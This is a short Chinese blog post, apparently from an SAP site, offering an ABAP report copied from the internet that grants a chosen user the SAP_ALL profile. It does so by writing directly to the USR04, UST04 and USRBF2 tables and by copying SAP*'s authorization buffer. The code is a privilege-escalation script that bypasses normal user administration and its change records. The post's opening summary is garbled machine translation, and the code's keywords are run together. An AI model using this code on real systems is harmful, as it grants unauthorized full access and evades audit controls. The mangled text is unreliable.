摘要:从Internet复制的程序从未运行过。。。仅供参考:usr04、ust04和usrbf2三个表已更新。ABAP REPORTZTESTCREATEUSER。数据:l_USR04LIKEUSR04、l_UST04LIKEUST04、l_PROFSLIKEUSR04-PROFS、l_USRBF2(如USRBF2)与头行发生,l_useridlikeusr01-
从网上抄来的程序,没运行过。。。仅供参考:
更新了usr04,ust04,usrbf2这三张表。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 | REPORT ZTESTCREATEUSER. data: l_USR04LIKE USR04, l_UST04LIKE UST04, l_PROFSLIKE USR04-PROFS, l_USRBF2like USRBF2occurs0with headerline, l_useridlike usr01-bname. TABLES: usr01. SELECT-OPTIONS: p_userFOR USR01-BNAME. START-OF-SELECTION. selectsingle* into l_USR04 from USR04 where BNAMEin p_user. move'C SAP_ALL'to l_PROFS. l_USR04-NRPRO='14'. l_USR04-PROFS= l_PROFS. Update USR04from l_USR04. l_userid= l_USR04-BNAME. selectsingle* into l_UST04 from UST04 where BNAMEin p_user. l_UST04-PROFILE='SAP_ALL'. Update UST04from l_UST04. select* from USRBF2 intotable l_USRBF2 where BNAME='SAP*'. Loop at l_USRBF2. l_USRBF2-BNAME= l_userid. Modify l_USRBF2INDEX sy-tabixTRANSPORTING BNAME. endloop. INSERT USRBF2FROMTABLE l_USRBF2ACCEPTING DUPLICATE KEYS. |
![如何通过ABAP程序添加SAP_ALL权限第1张](http://www.baidusap.com/wp-content/uploads/2018-06-27_9-41-39.jpg)
![如何通过ABAP程序添加SAP_ALL权限第2张](http://www.baidusap.com/wp-content/uploads/2018-06-27_9-42-20.jpg)
![如何通过ABAP程序添加SAP_ALL权限第3张](http://www.baidusap.com/wp-content/uploads/2018-06-27_9-43-08.jpg)
以上。